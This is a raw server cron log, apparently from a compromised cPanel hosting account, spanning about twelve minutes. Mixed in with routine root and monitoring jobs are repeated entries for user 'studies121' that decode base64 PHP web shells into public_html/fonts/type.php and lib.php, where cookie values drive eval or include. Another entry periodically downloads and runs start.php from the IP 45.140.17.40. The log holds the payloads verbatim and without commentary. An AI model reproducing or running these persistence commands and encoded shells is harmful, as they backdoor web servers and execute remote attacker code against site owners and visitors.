Sep 22 16:08:01 ip-184-168-122-23 CROND[8948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:08:01 ip-184-168-122-23 CROND[8949]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:09:01 ip-184-168-122-23 CROND[9049]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:09:01 ip-184-168-122-23 CROND[9051]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:09:01 ip-184-168-122-23 CROND[9052]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:09:01 ip-184-168-122-23 CROND[9053]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:09:01 ip-184-168-122-23 CROND[9054]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 22 16:10:01 ip-184-168-122-23 CROND[9200]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 16:10:01 ip-184-168-122-23 CROND[9199]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:10:01 ip-184-168-122-23 CROND[9207]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:10:01 ip-184-168-122-23 CROND[9204]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 16:10:01 ip-184-168-122-23 CROND[9206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:10:01 ip-184-168-122-23 CROND[9205]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 16:10:01 ip-184-168-122-23 CROND[9203]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:10:01 ip-184-168-122-23 CROND[9208]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 16:11:01 ip-184-168-122-23 CROND[9406]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:11:01 ip-184-168-122-23 CROND[9408]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:11:01 ip-184-168-122-23 CROND[9409]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:11:01 ip-184-168-122-23 CROND[9410]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:12:01 ip-184-168-122-23 CROND[9851]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 16:12:01 ip-184-168-122-23 CROND[9853]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:12:01 ip-184-168-122-23 CROND[9855]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:12:01 ip-184-168-122-23 CROND[9852]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:12:01 ip-184-168-122-23 CROND[9854]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:13:01 ip-184-168-122-23 CROND[10525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:13:01 ip-184-168-122-23 CROND[10527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:13:01 ip-184-168-122-23 CROND[10529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:13:01 ip-184-168-122-23 CROND[10530]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:14:01 ip-184-168-122-23 CROND[11487]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 16:14:01 ip-184-168-122-23 CROND[11489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:14:01 ip-184-168-122-23 CROND[11491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:14:01 ip-184-168-122-23 CROND[11494]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:14:01 ip-184-168-122-23 CROND[11495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:15:01 ip-184-168-122-23 CROND[12469]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 22 16:15:01 ip-184-168-122-23 CROND[12473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:15:01 ip-184-168-122-23 CROND[12478]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 16:15:01 ip-184-168-122-23 CROND[12477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:15:01 ip-184-168-122-23 CROND[12475]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:15:01 ip-184-168-122-23 CROND[12479]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:15:01 ip-184-168-122-23 CROND[12476]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 16:16:01 ip-184-168-122-23 CROND[13754]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:16:01 ip-184-168-122-23 CROND[13758]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 16:16:01 ip-184-168-122-23 CROND[13759]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:16:01 ip-184-168-122-23 CROND[13764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:16:01 ip-184-168-122-23 CROND[13766]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:16:01 ip-184-168-122-23 CROND[13765]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 16:17:01 ip-184-168-122-23 CROND[15592]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:17:01 ip-184-168-122-23 CROND[15593]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:17:01 ip-184-168-122-23 CROND[15594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:17:01 ip-184-168-122-23 CROND[15596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:18:01 ip-184-168-122-23 CROND[17069]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:18:01 ip-184-168-122-23 CROND[17074]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:18:01 ip-184-168-122-23 CROND[17075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:18:01 ip-184-168-122-23 CROND[17072]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:18:01 ip-184-168-122-23 CROND[17076]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 16:19:01 ip-184-168-122-23 CROND[17820]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:19:01 ip-184-168-122-23 CROND[17821]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:19:01 ip-184-168-122-23 CROND[17822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:19:01 ip-184-168-122-23 CROND[17823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:20:02 ip-184-168-122-23 CROND[19119]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 16:20:02 ip-184-168-122-23 CROND[19120]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 16:20:02 ip-184-168-122-23 CROND[19129]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:20:02 ip-184-168-122-23 CROND[19125]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 16:20:02 ip-184-168-122-23 CROND[19126]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 16:20:02 ip-184-168-122-23 CROND[19127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
